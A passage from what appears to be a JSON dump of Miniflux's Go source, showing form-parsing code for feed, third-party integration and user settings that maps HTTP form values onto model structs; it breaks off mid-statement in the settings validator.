f.AppriseServiceURLs\n\tfeed.WebhookURL = f.WebhookURL\n\tfeed.DisableHTTP2 = f.DisableHTTP2\n\tfeed.NtfyEnabled = f.NtfyEnabled\n\tfeed.NtfyPriority = f.NtfyPriority\n\tfeed.NtfyTopic = f.NtfyTopic\n\tfeed.PushoverEnabled = f.PushoverEnabled\n\tfeed.PushoverPriority = f.PushoverPriority\n\tfeed.ProxyURL = f.ProxyURL\n\treturn feed\n}\n\n// NewFeedForm parses the HTTP request and returns a FeedForm\nfunc NewFeedForm(r *http.Request) *FeedForm {\n\tcategoryID, err := strconv.Atoi(r.FormValue(\"category_id\"))\n\tif err != nil {\n\t\tcategoryID = 0\n\t}\n\n\tntfyPriority, err := strconv.Atoi(r.FormValue(\"ntfy_priority\"))\n\tif err != nil {\n\t\tntfyPriority = 0\n\t}\n\n\tpushoverPriority, err := strconv.Atoi(r.FormValue(\"pushover_priority\"))\n\tif err != nil {\n\t\tpushoverPriority = 0\n\t}\n\n\treturn &FeedForm{\n\t\tFeedURL:                     r.FormValue(\"feed_url\"),\n\t\tSiteURL:                     r.FormValue(\"site_url\"),\n\t\tTitle:                       r.FormValue(\"title\"),\n\t\tDescription:                 r.FormValue(\"description\"),\n\t\tScraperRules:                r.FormValue(\"scraper_rules\"),\n\t\tUserAgent:                   r.FormValue(\"user_agent\"),\n\t\tCookie:                      r.FormValue(\"cookie\"),\n\t\tRewriteRules:                r.FormValue(\"rewrite_rules\"),\n\t\tUrlRewriteRules:             r.FormValue(\"urlrewrite_rules\"),\n\t\tBlocklistRules:              r.FormValue(\"blocklist_rules\"),\n\t\tKeeplistRules:               r.FormValue(\"keeplist_rules\"),\n\t\tBlockFilterEntryRules:       r.FormValue(\"block_filter_entry_rules\"),\n\t\tKeepFilterEntryRules:        r.FormValue(\"keep_filter_entry_rules\"),\n\t\tCrawler:                     r.FormValue(\"crawler\") == \"1\",\n\t\tIgnoreEntryUpdates:          r.FormValue(\"ignore_entry_updates\") == \"1\",\n\t\tCategoryID:                  int64(categoryID),\n\t\tUsername:                    r.FormValue(\"feed_username\"),\n\t\tPassword:                    r.FormValue(\"feed_password\"),\n\t\tIgnoreHTTPCache:             r.FormValue(\"ignore_http_cache\") == \"1\",\n\t\tAllowSelfSignedCertificates: r.FormValue(\"allow_self_signed_certificates\") == \"1\",\n\t\tFetchViaProxy:               r.FormValue(\"fetch_via_proxy\") == \"1\",\n\t\tDisabled:                    r.FormValue(\"disabled\") == \"1\",\n\t\tNoMediaPlayer:               r.FormValue(\"no_media_player\") == \"1\",\n\t\tHideGlobally:                r.FormValue(\"hide_globally\") == \"1\",\n\t\tAppriseServiceURLs:          r.FormValue(\"apprise_service_urls\"),\n\t\tWebhookURL:                  r.FormValue(\"webhook_url\"),\n\t\tDisableHTTP2:                r.FormValue(\"disable_http2\") == \"1\",\n\t\tNtfyEnabled:                 r.FormValue(\"ntfy_enabled\") == \"1\",\n\t\tNtfyPriority:                ntfyPriority,\n\t\tNtfyTopic:                   r.FormValue(\"ntfy_topic\"),\n\t\tPushoverEnabled:             r.FormValue(\"pushover_enabled\") == \"1\",\n\t\tPushoverPriority:            pushoverPriority,\n\t\tProxyURL:                    r.FormValue(\"proxy_url\"),\n\t}\n}\n"
  },
  {
    "path": "internal/ui/form/integration.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage form // import \"miniflux.app/v2/internal/ui/form\"\n\nimport (\n\t\"net/http\"\n\t\"strconv\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// IntegrationForm represents user integration settings form.\ntype IntegrationForm struct {\n\tPinboardEnabled                  bool\n\tPinboardToken                    string\n\tPinboardTags                     string\n\tPinboardMarkAsUnread             bool\n\tInstapaperEnabled                bool\n\tInstapaperUsername               string\n\tInstapaperPassword               string\n\tFeverEnabled                     bool\n\tFeverUsername                    string\n\tFeverPassword                    string\n\tGoogleReaderEnabled              bool\n\tGoogleReaderUsername             string\n\tGoogleReaderPassword             string\n\tWallabagEnabled                  bool\n\tWallabagOnlyURL                  bool\n\tWallabagURL                      string\n\tWallabagClientID                 string\n\tWallabagClientSecret             string\n\tWallabagUsername                 string\n\tWallabagPassword                 string\n\tWallabagTags                     string\n\tNotionEnabled                    bool\n\tNotionPageID                     string\n\tNotionToken                      string\n\tNunuxKeeperEnabled               bool\n\tNunuxKeeperURL                   string\n\tNunuxKeeperAPIKey                string\n\tEspialEnabled                    bool\n\tEspialURL                        string\n\tEspialAPIKey                     string\n\tEspialTags                       string\n\tReadwiseEnabled                  bool\n\tReadwiseAPIKey                   string\n\tTelegramBotEnabled               bool\n\tTelegramBotToken                 string\n\tTelegramBotChatID                string\n\tTelegramBotTopicID               *int64\n\tTelegramBotDisableWebPagePreview bool\n\tTelegramBotDisableNotification   bool\n\tTelegramBotDisableButtons        bool\n\tLinkAceEnabled                   bool\n\tLinkAceURL                       string\n\tLinkAceAPIKey                    string\n\tLinkAceTags                      string\n\tLinkAcePrivate                   bool\n\tLinkAceCheckDisabled             bool\n\tLinkdingEnabled                  bool\n\tLinkdingURL                      string\n\tLinkdingAPIKey                   string\n\tLinkdingTags                     string\n\tLinkdingMarkAsUnread             bool\n\tLinktacoEnabled                  bool\n\tLinktacoAPIToken                 string\n\tLinktacoOrgSlug                  string\n\tLinktacoTags                     string\n\tLinktacoVisibility               string\n\tLinkwardenEnabled                bool\n\tLinkwardenURL                    string\n\tLinkwardenAPIKey                 string\n\tLinkwardenCollectionID           *int64\n\tMatrixBotEnabled                 bool\n\tMatrixBotUser                    string\n\tMatrixBotPassword                string\n\tMatrixBotURL                     string\n\tMatrixBotChatID                  string\n\tAppriseEnabled                   bool\n\tAppriseURL                       string\n\tAppriseServicesURL               string\n\tReadeckEnabled                   bool\n\tReadeckPushEnabled               bool\n\tReadeckURL                       string\n\tReadeckAPIKey                    string\n\tReadeckLabels                    string\n\tReadeckOnlyURL                   bool\n\tShioriEnabled                    bool\n\tShioriURL                        string\n\tShioriUsername                   string\n\tShioriPassword                   string\n\tShaarliEnabled                   bool\n\tShaarliURL                       string\n\tShaarliAPISecret                 string\n\tWebhookEnabled                   bool\n\tWebhookURL                       string\n\tWebhookSecret                    string\n\tRSSBridgeEnabled                 bool\n\tRSSBridgeURL                     string\n\tRSSBridgeToken                   string\n\tOmnivoreEnabled                  bool\n\tOmnivoreAPIKey                   string\n\tOmnivoreURL                      string\n\tKarakeepEnabled                  bool\n\tKarakeepAPIKey                   string\n\tKarakeepURL                      string\n\tKarakeepTags                     string\n\tRaindropEnabled                  bool\n\tRaindropToken                    string\n\tRaindropCollectionID             string\n\tRaindropTags                     string\n\tBetulaEnabled                    bool\n\tBetulaURL                        string\n\tBetulaToken                      string\n\tNtfyEnabled                      bool\n\tNtfyTopic                        string\n\tNtfyURL                          string\n\tNtfyAPIToken                     string\n\tNtfyUsername                     string\n\tNtfyPassword                     string\n\tNtfyIconURL                      string\n\tNtfyInternalLinks                bool\n\tCuboxEnabled                     bool\n\tCuboxAPILink                     string\n\tDiscordEnabled                   bool\n\tDiscordWebhookLink               string\n\tSlackEnabled                     bool\n\tSlackWebhookLink                 string\n\tPushoverEnabled                  bool\n\tPushoverUser                     string\n\tPushoverToken                    string\n\tPushoverDevice                   string\n\tPushoverPrefix                   string\n\tArchiveorgEnabled                bool\n}\n\n// Merge copy form values to the model.\nfunc (i IntegrationForm) Merge(integration *model.Integration) {\n\tintegration.PinboardEnabled = i.PinboardEnabled\n\tintegration.PinboardToken = i.PinboardToken\n\tintegration.PinboardTags = i.PinboardTags\n\tintegration.PinboardMarkAsUnread = i.PinboardMarkAsUnread\n\tintegration.InstapaperEnabled = i.InstapaperEnabled\n\tintegration.InstapaperUsername = i.InstapaperUsername\n\tintegration.InstapaperPassword = i.InstapaperPassword\n\tintegration.FeverEnabled = i.FeverEnabled\n\tintegration.FeverUsername = i.FeverUsername\n\tintegration.GoogleReaderEnabled = i.GoogleReaderEnabled\n\tintegration.GoogleReaderUsername = i.GoogleReaderUsername\n\tintegration.WallabagEnabled = i.WallabagEnabled\n\tintegration.WallabagOnlyURL = i.WallabagOnlyURL\n\tintegration.WallabagURL = i.WallabagURL\n\tintegration.WallabagClientID = i.WallabagClientID\n\tintegration.WallabagClientSecret = i.WallabagClientSecret\n\tintegration.WallabagUsername = i.WallabagUsername\n\tintegration.WallabagPassword = i.WallabagPassword\n\tintegration.WallabagTags = i.WallabagTags\n\tintegration.NotionEnabled = i.NotionEnabled\n\tintegration.NotionPageID = i.NotionPageID\n\tintegration.NotionToken = i.NotionToken\n\tintegration.NunuxKeeperEnabled = i.NunuxKeeperEnabled\n\tintegration.NunuxKeeperURL = i.NunuxKeeperURL\n\tintegration.NunuxKeeperAPIKey = i.NunuxKeeperAPIKey\n\tintegration.EspialEnabled = i.EspialEnabled\n\tintegration.EspialURL = i.EspialURL\n\tintegration.EspialAPIKey = i.EspialAPIKey\n\tintegration.EspialTags = i.EspialTags\n\tintegration.ReadwiseEnabled = i.ReadwiseEnabled\n\tintegration.ReadwiseAPIKey = i.ReadwiseAPIKey\n\tintegration.TelegramBotEnabled = i.TelegramBotEnabled\n\tintegration.TelegramBotToken = i.TelegramBotToken\n\tintegration.TelegramBotChatID = i.TelegramBotChatID\n\tintegration.TelegramBotTopicID = i.TelegramBotTopicID\n\tintegration.TelegramBotDisableWebPagePreview = i.TelegramBotDisableWebPagePreview\n\tintegration.TelegramBotDisableNotification = i.TelegramBotDisableNotification\n\tintegration.TelegramBotDisableButtons = i.TelegramBotDisableButtons\n\tintegration.LinkAceEnabled = i.LinkAceEnabled\n\tintegration.LinkAceURL = i.LinkAceURL\n\tintegration.LinkAceAPIKey = i.LinkAceAPIKey\n\tintegration.LinkAceTags = i.LinkAceTags\n\tintegration.LinkAcePrivate = i.LinkAcePrivate\n\tintegration.LinkAceCheckDisabled = i.LinkAceCheckDisabled\n\tintegration.LinkdingEnabled = i.LinkdingEnabled\n\tintegration.LinkdingURL = i.LinkdingURL\n\tintegration.LinkdingAPIKey = i.LinkdingAPIKey\n\tintegration.LinkdingTags = i.LinkdingTags\n\tintegration.LinkdingMarkAsUnread = i.LinkdingMarkAsUnread\n\tintegration.LinktacoEnabled = i.LinktacoEnabled\n\tintegration.LinktacoAPIToken = i.LinktacoAPIToken\n\tintegration.LinktacoOrgSlug = i.LinktacoOrgSlug\n\tintegration.LinktacoTags = i.LinktacoTags\n\tintegration.LinktacoVisibility = i.LinktacoVisibility\n\tintegration.LinkwardenEnabled = i.LinkwardenEnabled\n\tintegration.LinkwardenURL = i.LinkwardenURL\n\tintegration.LinkwardenAPIKey = i.LinkwardenAPIKey\n\tintegration.LinkwardenCollectionID = i.LinkwardenCollectionID\n\tintegration.MatrixBotEnabled = i.MatrixBotEnabled\n\tintegration.MatrixBotUser = i.MatrixBotUser\n\tintegration.MatrixBotPassword = i.MatrixBotPassword\n\tintegration.MatrixBotURL = i.MatrixBotURL\n\tintegration.MatrixBotChatID = i.MatrixBotChatID\n\tintegration.AppriseEnabled = i.AppriseEnabled\n\tintegration.AppriseServicesURL = i.AppriseServicesURL\n\tintegration.AppriseURL = i.AppriseURL\n\tintegration.ReadeckEnabled = i.ReadeckEnabled\n\tintegration.ReadeckPushEnabled = i.ReadeckPushEnabled\n\tintegration.ReadeckURL = i.ReadeckURL\n\tintegration.ReadeckAPIKey = i.ReadeckAPIKey\n\tintegration.ReadeckLabels = i.ReadeckLabels\n\tintegration.ReadeckOnlyURL = i.ReadeckOnlyURL\n\tintegration.ShioriEnabled = i.ShioriEnabled\n\tintegration.ShioriURL = i.ShioriURL\n\tintegration.ShioriUsername = i.ShioriUsername\n\tintegration.ShioriPassword = i.ShioriPassword\n\tintegration.ShaarliEnabled = i.ShaarliEnabled\n\tintegration.ShaarliURL = i.ShaarliURL\n\tintegration.ShaarliAPISecret = i.ShaarliAPISecret\n\tintegration.WebhookEnabled = i.WebhookEnabled\n\tintegration.WebhookURL = i.WebhookURL\n\tintegration.RSSBridgeEnabled = i.RSSBridgeEnabled\n\tintegration.RSSBridgeURL = i.RSSBridgeURL\n\tintegration.RSSBridgeToken = i.RSSBridgeToken\n\tintegration.OmnivoreEnabled = i.OmnivoreEnabled\n\tintegration.OmnivoreAPIKey = i.OmnivoreAPIKey\n\tintegration.OmnivoreURL = i.OmnivoreURL\n\tintegration.KarakeepEnabled = i.KarakeepEnabled\n\tintegration.KarakeepAPIKey = i.KarakeepAPIKey\n\tintegration.KarakeepURL = i.KarakeepURL\n\tintegration.KarakeepTags = i.KarakeepTags\n\tintegration.RaindropEnabled = i.RaindropEnabled\n\tintegration.RaindropToken = i.RaindropToken\n\tintegration.RaindropCollectionID = i.RaindropCollectionID\n\tintegration.RaindropTags = i.RaindropTags\n\tintegration.BetulaEnabled = i.BetulaEnabled\n\tintegration.BetulaURL = i.BetulaURL\n\tintegration.BetulaToken = i.BetulaToken\n\tintegration.NtfyEnabled = i.NtfyEnabled\n\tintegration.NtfyTopic = i.NtfyTopic\n\tintegration.NtfyURL = i.NtfyURL\n\tintegration.NtfyAPIToken = i.NtfyAPIToken\n\tintegration.NtfyUsername = i.NtfyUsername\n\tintegration.NtfyPassword = i.NtfyPassword\n\tintegration.NtfyIconURL = i.NtfyIconURL\n\tintegration.NtfyInternalLinks = i.NtfyInternalLinks\n\tintegration.CuboxEnabled = i.CuboxEnabled\n\tintegration.CuboxAPILink = i.CuboxAPILink\n\tintegration.DiscordEnabled = i.DiscordEnabled\n\tintegration.DiscordWebhookLink = i.DiscordWebhookLink\n\tintegration.SlackEnabled = i.SlackEnabled\n\tintegration.SlackWebhookLink = i.SlackWebhookLink\n\tintegration.PushoverEnabled = i.PushoverEnabled\n\tintegration.PushoverUser = i.PushoverUser\n\tintegration.PushoverToken = i.PushoverToken\n\tintegration.PushoverDevice = i.PushoverDevice\n\tintegration.PushoverPrefix = i.PushoverPrefix\n\tintegration.ArchiveorgEnabled = i.ArchiveorgEnabled\n}\n\n// NewIntegrationForm returns a new IntegrationForm.\nfunc NewIntegrationForm(r *http.Request) *IntegrationForm {\n\treturn &IntegrationForm{\n\t\tPinboardEnabled:                  r.FormValue(\"pinboard_enabled\") == \"1\",\n\t\tPinboardToken:                    r.FormValue(\"pinboard_token\"),\n\t\tPinboardTags:                     r.FormValue(\"pinboard_tags\"),\n\t\tPinboardMarkAsUnread:             r.FormValue(\"pinboard_mark_as_unread\") == \"1\",\n\t\tInstapaperEnabled:                r.FormValue(\"instapaper_enabled\") == \"1\",\n\t\tInstapaperUsername:               r.FormValue(\"instapaper_username\"),\n\t\tInstapaperPassword:               r.FormValue(\"instapaper_password\"),\n\t\tFeverEnabled:                     r.FormValue(\"fever_enabled\") == \"1\",\n\t\tFeverUsername:                    r.FormValue(\"fever_username\"),\n\t\tFeverPassword:                    r.FormValue(\"fever_password\"),\n\t\tGoogleReaderEnabled:              r.FormValue(\"googlereader_enabled\") == \"1\",\n\t\tGoogleReaderUsername:             r.FormValue(\"googlereader_username\"),\n\t\tGoogleReaderPassword:             r.FormValue(\"googlereader_password\"),\n\t\tWallabagEnabled:                  r.FormValue(\"wallabag_enabled\") == \"1\",\n\t\tWallabagOnlyURL:                  r.FormValue(\"wallabag_only_url\") == \"1\",\n\t\tWallabagURL:                      r.FormValue(\"wallabag_url\"),\n\t\tWallabagClientID:                 r.FormValue(\"wallabag_client_id\"),\n\t\tWallabagClientSecret:             r.FormValue(\"wallabag_client_secret\"),\n\t\tWallabagUsername:                 r.FormValue(\"wallabag_username\"),\n\t\tWallabagPassword:                 r.FormValue(\"wallabag_password\"),\n\t\tWallabagTags:                     r.FormValue(\"wallabag_tags\"),\n\t\tNotionEnabled:                    r.FormValue(\"notion_enabled\") == \"1\",\n\t\tNotionPageID:                     r.FormValue(\"notion_page_id\"),\n\t\tNotionToken:                      r.FormValue(\"notion_token\"),\n\t\tNunuxKeeperEnabled:               r.FormValue(\"nunux_keeper_enabled\") == \"1\",\n\t\tNunuxKeeperURL:                   r.FormValue(\"nunux_keeper_url\"),\n\t\tNunuxKeeperAPIKey:                r.FormValue(\"nunux_keeper_api_key\"),\n\t\tEspialEnabled:                    r.FormValue(\"espial_enabled\") == \"1\",\n\t\tEspialURL:                        r.FormValue(\"espial_url\"),\n\t\tEspialAPIKey:                     r.FormValue(\"espial_api_key\"),\n\t\tEspialTags:                       r.FormValue(\"espial_tags\"),\n\t\tReadwiseEnabled:                  r.FormValue(\"readwise_enabled\") == \"1\",\n\t\tReadwiseAPIKey:                   r.FormValue(\"readwise_api_key\"),\n\t\tTelegramBotEnabled:               r.FormValue(\"telegram_bot_enabled\") == \"1\",\n\t\tTelegramBotToken:                 r.FormValue(\"telegram_bot_token\"),\n\t\tTelegramBotChatID:                r.FormValue(\"telegram_bot_chat_id\"),\n\t\tTelegramBotTopicID:               optionalInt64Field(r.FormValue(\"telegram_bot_topic_id\")),\n\t\tTelegramBotDisableWebPagePreview: r.FormValue(\"telegram_bot_disable_web_page_preview\") == \"1\",\n\t\tTelegramBotDisableNotification:   r.FormValue(\"telegram_bot_disable_notification\") == \"1\",\n\t\tTelegramBotDisableButtons:        r.FormValue(\"telegram_bot_disable_buttons\") == \"1\",\n\t\tLinkAceEnabled:                   r.FormValue(\"linkace_enabled\") == \"1\",\n\t\tLinkAceURL:                       r.FormValue(\"linkace_url\"),\n\t\tLinkAceAPIKey:                    r.FormValue(\"linkace_api_key\"),\n\t\tLinkAceTags:                      r.FormValue(\"linkace_tags\"),\n\t\tLinkAcePrivate:                   r.FormValue(\"linkace_is_private\") == \"1\",\n\t\tLinkAceCheckDisabled:             r.FormValue(\"linkace_check_disabled\") == \"1\",\n\t\tLinkdingEnabled:                  r.FormValue(\"linkding_enabled\") == \"1\",\n\t\tLinkdingURL:                      r.FormValue(\"linkding_url\"),\n\t\tLinkdingAPIKey:                   r.FormValue(\"linkding_api_key\"),\n\t\tLinkdingTags:                     r.FormValue(\"linkding_tags\"),\n\t\tLinkdingMarkAsUnread:             r.FormValue(\"linkding_mark_as_unread\") == \"1\",\n\t\tLinktacoEnabled:                  r.FormValue(\"linktaco_enabled\") == \"1\",\n\t\tLinktacoAPIToken:                 r.FormValue(\"linktaco_api_token\"),\n\t\tLinktacoOrgSlug:                  r.FormValue(\"linktaco_org_slug\"),\n\t\tLinktacoTags:                     r.FormValue(\"linktaco_tags\"),\n\t\tLinktacoVisibility:               r.FormValue(\"linktaco_visibility\"),\n\t\tLinkwardenEnabled:                r.FormValue(\"linkwarden_enabled\") == \"1\",\n\t\tLinkwardenURL:                    r.FormValue(\"linkwarden_url\"),\n\t\tLinkwardenAPIKey:                 r.FormValue(\"linkwarden_api_key\"),\n\t\tLinkwardenCollectionID:           optionalInt64Field(r.FormValue(\"linkwarden_collection_id\")),\n\t\tMatrixBotEnabled:                 r.FormValue(\"matrix_bot_enabled\") == \"1\",\n\t\tMatrixBotUser:                    r.FormValue(\"matrix_bot_user\"),\n\t\tMatrixBotPassword:                r.FormValue(\"matrix_bot_password\"),\n\t\tMatrixBotURL:                     r.FormValue(\"matrix_bot_url\"),\n\t\tMatrixBotChatID:                  r.FormValue(\"matrix_bot_chat_id\"),\n\t\tAppriseEnabled:                   r.FormValue(\"apprise_enabled\") == \"1\",\n\t\tAppriseURL:                       r.FormValue(\"apprise_url\"),\n\t\tAppriseServicesURL:               r.FormValue(\"apprise_services_url\"),\n\t\tReadeckEnabled:                   r.FormValue(\"readeck_enabled\") == \"1\",\n\t\tReadeckPushEnabled:               r.FormValue(\"readeck_push_enabled\") == \"1\",\n\t\tReadeckURL:                       r.FormValue(\"readeck_url\"),\n\t\tReadeckAPIKey:                    r.FormValue(\"readeck_api_key\"),\n\t\tReadeckLabels:                    r.FormValue(\"readeck_labels\"),\n\t\tReadeckOnlyURL:                   r.FormValue(\"readeck_only_url\") == \"1\",\n\t\tShioriEnabled:                    r.FormValue(\"shiori_enabled\") == \"1\",\n\t\tShioriURL:                        r.FormValue(\"shiori_url\"),\n\t\tShioriUsername:                   r.FormValue(\"shiori_username\"),\n\t\tShioriPassword:                   r.FormValue(\"shiori_password\"),\n\t\tShaarliEnabled:                   r.FormValue(\"shaarli_enabled\") == \"1\",\n\t\tShaarliURL:                       r.FormValue(\"shaarli_url\"),\n\t\tShaarliAPISecret:                 r.FormValue(\"shaarli_api_secret\"),\n\t\tWebhookEnabled:                   r.FormValue(\"webhook_enabled\") == \"1\",\n\t\tWebhookURL:                       r.FormValue(\"webhook_url\"),\n\t\tRSSBridgeEnabled:                 r.FormValue(\"rssbridge_enabled\") == \"1\",\n\t\tRSSBridgeURL:                     r.FormValue(\"rssbridge_url\"),\n\t\tRSSBridgeToken:                   r.FormValue(\"rssbridge_token\"),\n\t\tOmnivoreEnabled:                  r.FormValue(\"omnivore_enabled\") == \"1\",\n\t\tOmnivoreAPIKey:                   r.FormValue(\"omnivore_api_key\"),\n\t\tOmnivoreURL:                      r.FormValue(\"omnivore_url\"),\n\t\tKarakeepEnabled:                  r.FormValue(\"karakeep_enabled\") == \"1\",\n\t\tKarakeepAPIKey:                   r.FormValue(\"karakeep_api_key\"),\n\t\tKarakeepURL:                      r.FormValue(\"karakeep_url\"),\n\t\tKarakeepTags:                     r.FormValue(\"karakeep_tags\"),\n\t\tRaindropEnabled:                  r.FormValue(\"raindrop_enabled\") == \"1\",\n\t\tRaindropToken:                    r.FormValue(\"raindrop_token\"),\n\t\tRaindropCollectionID:             r.FormValue(\"raindrop_collection_id\"),\n\t\tRaindropTags:                     r.FormValue(\"raindrop_tags\"),\n\t\tBetulaEnabled:                    r.FormValue(\"betula_enabled\") == \"1\",\n\t\tBetulaURL:                        r.FormValue(\"betula_url\"),\n\t\tBetulaToken:                      r.FormValue(\"betula_token\"),\n\t\tNtfyEnabled:                      r.FormValue(\"ntfy_enabled\") == \"1\",\n\t\tNtfyTopic:                        r.FormValue(\"ntfy_topic\"),\n\t\tNtfyURL:                          r.FormValue(\"ntfy_url\"),\n\t\tNtfyAPIToken:                     r.FormValue(\"ntfy_api_token\"),\n\t\tNtfyUsername:                     r.FormValue(\"ntfy_username\"),\n\t\tNtfyPassword:                     r.FormValue(\"ntfy_password\"),\n\t\tNtfyIconURL:                      r.FormValue(\"ntfy_icon_url\"),\n\t\tNtfyInternalLinks:                r.FormValue(\"ntfy_internal_links\") == \"1\",\n\t\tCuboxEnabled:                     r.FormValue(\"cubox_enabled\") == \"1\",\n\t\tCuboxAPILink:                     r.FormValue(\"cubox_api_link\"),\n\t\tDiscordEnabled:                   r.FormValue(\"discord_enabled\") == \"1\",\n\t\tDiscordWebhookLink:               r.FormValue(\"discord_webhook_link\"),\n\t\tSlackEnabled:                     r.FormValue(\"slack_enabled\") == \"1\",\n\t\tSlackWebhookLink:                 r.FormValue(\"slack_webhook_link\"),\n\t\tPushoverEnabled:                  r.FormValue(\"pushover_enabled\") == \"1\",\n\t\tPushoverUser:                     r.FormValue(\"pushover_user\"),\n\t\tPushoverToken:                    r.FormValue(\"pushover_token\"),\n\t\tPushoverDevice:                   r.FormValue(\"pushover_device\"),\n\t\tPushoverPrefix:                   r.FormValue(\"pushover_prefix\"),\n\t\tArchiveorgEnabled:                r.FormValue(\"archiveorg_enabled\") == \"1\",\n\t}\n}\n\nfunc optionalInt64Field(formValue string) *int64 {\n\tif formValue == \"\" {\n\t\treturn nil\n\t}\n\tvalue, _ := strconv.ParseInt(formValue, 10, 64)\n\treturn &value\n}\n"
  },
  {
    "path": "internal/ui/form/settings.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage form // import \"miniflux.app/v2/internal/ui/form\"\n\nimport (\n\t\"net/http\"\n\t\"strconv\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\n// markReadBehavior list all possible behaviors for automatically marking an entry as read\ntype markReadBehavior string\n\nconst (\n\tNoAutoMarkAsRead                           markReadBehavior = \"no-auto\"\n\tMarkAsReadOnView                           markReadBehavior = \"on-view\"\n\tMarkAsReadOnViewButWaitForPlayerCompletion markReadBehavior = \"on-view-but-wait-for-player-completion\"\n\tMarkAsReadOnlyOnPlayerCompletion           markReadBehavior = \"on-player-completion\"\n)\n\n// SettingsForm represents the settings form.\ntype SettingsForm struct {\n\tUsername               string\n\tPassword               string\n\tConfirmation           string\n\tTheme                  string\n\tLanguage               string\n\tTimezone               string\n\tEntryDirection         string\n\tEntryOrder             string\n\tEntriesPerPage         int\n\tKeyboardShortcuts      bool\n\tShowReadingTime        bool\n\tCustomCSS              string\n\tCustomJS               string\n\tExternalFontHosts      string\n\tEntrySwipe             bool\n\tGestureNav             string\n\tDisplayMode            string\n\tDefaultReadingSpeed    int\n\tCJKReadingSpeed        int\n\tDefaultHomePage        string\n\tCategoriesSortingOrder string\n\tMarkReadOnView         bool\n\t// MarkReadBehavior is a string representation of the MarkReadOnView and MarkReadOnMediaPlayerCompletion fields together\n\tMarkReadBehavior          markReadBehavior\n\tMediaPlaybackRate         float64\n\tBlockFilterEntryRules     string\n\tKeepFilterEntryRules      string\n\tAlwaysOpenExternalLinks   bool\n\tOpenExternalLinksInNewTab bool\n}\n\n// MarkAsReadBehavior returns the MarkReadBehavior from the given MarkReadOnView and MarkReadOnMediaPlayerCompletion values.\n// Useful to convert the values from the User model to the form\nfunc MarkAsReadBehavior(markReadOnView, markReadOnMediaPlayerCompletion bool) markReadBehavior {\n\tswitch {\n\tcase markReadOnView && !markReadOnMediaPlayerCompletion:\n\t\treturn MarkAsReadOnView\n\tcase markReadOnView && markReadOnMediaPlayerCompletion:\n\t\treturn MarkAsReadOnViewButWaitForPlayerCompletion\n\tcase !markReadOnView && markReadOnMediaPlayerCompletion:\n\t\treturn MarkAsReadOnlyOnPlayerCompletion\n\tcase !markReadOnView && !markReadOnMediaPlayerCompletion:\n\t\tfallthrough // Explicit defaulting\n\tdefault:\n\t\treturn NoAutoMarkAsRead\n\t}\n}\n\n// extractMarkAsReadBehavior returns the MarkReadOnView and MarkReadOnMediaPlayerCompletion values from the given MarkReadBehavior.\n// Useful to extract the values from the form to the User model\nfunc extractMarkAsReadBehavior(behavior markReadBehavior) (markReadOnView, markReadOnMediaPlayerCompletion bool) {\n\tswitch behavior {\n\tcase MarkAsReadOnView:\n\t\treturn true, false\n\tcase MarkAsReadOnViewButWaitForPlayerCompletion:\n\t\treturn true, true\n\tcase MarkAsReadOnlyOnPlayerCompletion:\n\t\treturn false, true\n\tcase NoAutoMarkAsRead:\n\t\tfallthrough // Explicit defaulting\n\tdefault:\n\t\treturn false, false\n\t}\n}\n\n// Merge updates the fields of the given user.\nfunc (s *SettingsForm) Merge(user *model.User) *model.User {\n\tif !config.Opts.DisableLocalAuth() {\n\t\tuser.Username = s.Username\n\t}\n\tuser.Theme = s.Theme\n\tuser.Language = s.Language\n\tuser.Timezone = s.Timezone\n\tuser.EntryDirection = s.EntryDirection\n\tuser.EntryOrder = s.EntryOrder\n\tuser.EntriesPerPage = s.EntriesPerPage\n\tuser.KeyboardShortcuts = s.KeyboardShortcuts\n\tuser.ShowReadingTime = s.ShowReadingTime\n\tuser.Stylesheet = s.CustomCSS\n\tuser.CustomJS = s.CustomJS\n\tuser.ExternalFontHosts = s.ExternalFontHosts\n\tuser.EntrySwipe = s.EntrySwipe\n\tuser.GestureNav = s.GestureNav\n\tuser.DisplayMode = s.DisplayMode\n\tuser.CJKReadingSpeed = s.CJKReadingSpeed\n\tuser.DefaultReadingSpeed = s.DefaultReadingSpeed\n\tuser.DefaultHomePage = s.DefaultHomePage\n\tuser.CategoriesSortingOrder = s.CategoriesSortingOrder\n\tuser.MediaPlaybackRate = s.MediaPlaybackRate\n\tuser.BlockFilterEntryRules = s.BlockFilterEntryRules\n\tuser.KeepFilterEntryRules = s.KeepFilterEntryRules\n\tuser.AlwaysOpenExternalLinks = s.AlwaysOpenExternalLinks\n\tuser.OpenExternalLinksInNewTab = s.OpenExternalLinksInNewTab\n\n\tMarkReadOnView, MarkReadOnMediaPlayerCompletion := extractMarkAsReadBehavior(s.MarkReadBehavior)\n\tuser.MarkReadOnView = MarkReadOnView\n\tuser.MarkReadOnMediaPlayerCompletion = MarkReadOnMediaPlayerCompletion\n\n\tif s.Password != \"\" {\n\t\tuser.Password = s.Password\n\t}\n\n\treturn user\n}\n\n// Validate makes sure the form values are valid.\nfunc (s *SettingsForm) Validate() *locale.LocalizedError {\n\tif (s.Username == \"\" && !config.Opts.DisableLocalAuth()) || s.Theme == \"\" || s.Language == \"\" || s.Timezone == \"\" || s.EntryDirection == \"\" || s.DisplayMode == \"\" || s.DefaultHomePage == \"\" {\n\t\treturn locale.NewLocalizedError(\"error.settings_mandatory_fields\")\n\t}\n\n\tif s.CJKReadingSpeed <= 0 || s.DefaultReadingSpeed <= 0 {\n\t\treturn locale.NewLocalizedError(\"error.settings_reading_speed_is_positive\")\n\t}\n\n\tif s.Confirmation == \"\" {\n\t\t// Firefox insists on auto-completing the password field.\n\t\t// If the confirmation field is blank, the user probably\n\t\t// didn't intend to change their password.\n\t\ts.Password = \"\"\n\t} else if s.Password != \"\" {\n\t\tif s.Password != s.Confirmation {\n\t\t\treturn locale.NewLocalizedError(\"error.different_passwords\")\n\t\t}\n\t}\n\n\tif s.MediaPlaybackRate < 0.25 || s.MediaPlaybackRate > 4 {\n\t\treturn locale.NewLocalizedError(\"error.settings_media_playback_rate_range\")\n\t}\n\n\tif s.ExternalFontHosts != \"\" {\n\t\tif !validator.IsValidDomainList(s.ExternalFontHosts) 